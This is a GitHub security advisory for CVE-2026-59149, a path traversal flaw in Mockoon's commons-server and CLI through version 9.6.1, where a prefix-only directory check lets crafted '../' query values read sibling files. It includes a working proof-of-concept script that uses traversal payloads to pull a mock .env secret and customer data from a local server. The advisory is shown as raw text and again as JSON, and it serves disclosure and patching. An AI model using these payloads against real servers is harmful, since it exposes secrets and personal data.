GHSA-8WQC-V2Q8-VFF2
Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04Summary
A FILE response whose filePath embeds request data (e.g. "/srv/public/{{queryParam 'name'}}", the documented way to let the client pick a file) is confined by getSafeFilePath with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.
Details
packages/commons-server/src/libs/server/server.ts, getSafeFilePath (line 2315). The static base is the text before the first {{, resolved to an absolute path; the parsed filePath is then bounded by a string-prefix check:
const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336
const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled
const resolvedPath = resolvePath(parsedFilePath);
if (isPathAbsolute) {
if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355
throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);
}
} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362
throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);
}
With "/srv/public/{{queryParam 'name'}}", staticBaseDir = /srv/public. A request name=../public_backup/.env resolves to /srv/public_backup/.env, and "/srv/public_backup/.env".startsWith("/srv/public") is true → served. Any sibling whose absolute path begins with the string /srv/public is reachable; the relative branch (:2362) is the same against environmentDirectory. A correct check appends sep to the base, or rejects when relative(base, resolvedPath) starts with ...
filePath is request-controlled (queryParam/urlParam/header/body via TemplateParser) for every FILE response: HTTP sendFile (:1762), WebSocket (:1145), callbacks (:1586).
PoC
cat > /tmp/poc.sh <<'POC'
set -e
mkdir -p /work/public /work/public_backup && cd /work
echo 'public landing page' > public/index.txt
echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env
echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv
cat > env.json <<'JSON'
{"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[],
"routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download",
"responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[],
"bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR",
"disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}],
"responseMode":null,"streamingMode":null,"streamingInterval":0}],
"rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}],
"proxyMode":false,"proxyHost":"","proxyRemovePrefix":false,
"tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""},
"cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]}
JSON
npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1
mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 &
sleep 6
node -e '
const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}};
const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();};
(async()=>{
console.log("[*] intended file (public/index.txt) :",await g("index.txt"));
console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env"));
console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv"));
})();'
POC
docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh
Output:
[*] intended file (public/index.txt) : public landing page
[+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted
[+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741
../public_backup/.env and ../public_backup/customers.csv are served, outside /work/public/, because their absolute paths string-prefix /work/public
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.6.1"
},
"package": {
"ecosystem": "npm",
"name": "@mockoon/commons-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.6.1"
},
"package": {
"ecosystem": "npm",
"name": "@mockoon/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59149"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T22:04:32Z",
"nvd_published_at": "2026-07-09T19:17:07Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam \u0027name\u0027}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336\nconst parsedFilePath = TemplateParser({ ... request ... }); // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355\n throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362\n throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam \u0027name\u0027}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` \u2192 served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat \u003e /tmp/poc.sh \u003c\u003c\u0027POC\u0027\nset -e\nmkdir -p /work/public /work/public_backup \u0026\u0026 cd /work\necho \u0027public landing page\u0027 \u003e public/index.txt\necho \u0027AWS_SECRET_ACCESS_KEY=redacted\u0027 \u003e public_backup/.env\necho \u0027Michael, michael@example.com, 555-22-7741\u0027 \u003e public_backup/customers.csv\ncat \u003e env.json \u003c\u003c\u0027JSON\u0027\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam \u0027name\u0027}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 \u003e/dev/null 2\u003e\u00261\nmockoon-cli start --data env.json --port 3000 \u003e/tmp/srv.log 2\u003e\u00261 \u0026\nsleep 6\nnode -e \u0027\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=\u003e{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=\u003e{\n console.log(\"[*] intended file (public/index.txt) :\",await g(\"index.txt\"));\n console.log(\"[+] escape -\u003e ../public_backup/.env :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -\u003e ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();\u0027\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt) : public landing page\n[+] escape -\u003e ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -\u003e ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`",
"id": "GHSA-8wqc-v2q8-vff2",
"modified": "2026-09-11T22:04:32Z",
"published": "2026-09-11T22:04:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59149"
},
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/pull/2255"
},
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585"
},
{
"type": "PACKAGE",
"url": "https://github.com/mockoon/mockoon"
},
{
"type": "WEB",
"url": "https://github.com/mockoon/mockoon/releases/tag/v9.7.0"
},
{
"type": "WEB",
"url": "https://mockoon.com/releases/9.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)"
}
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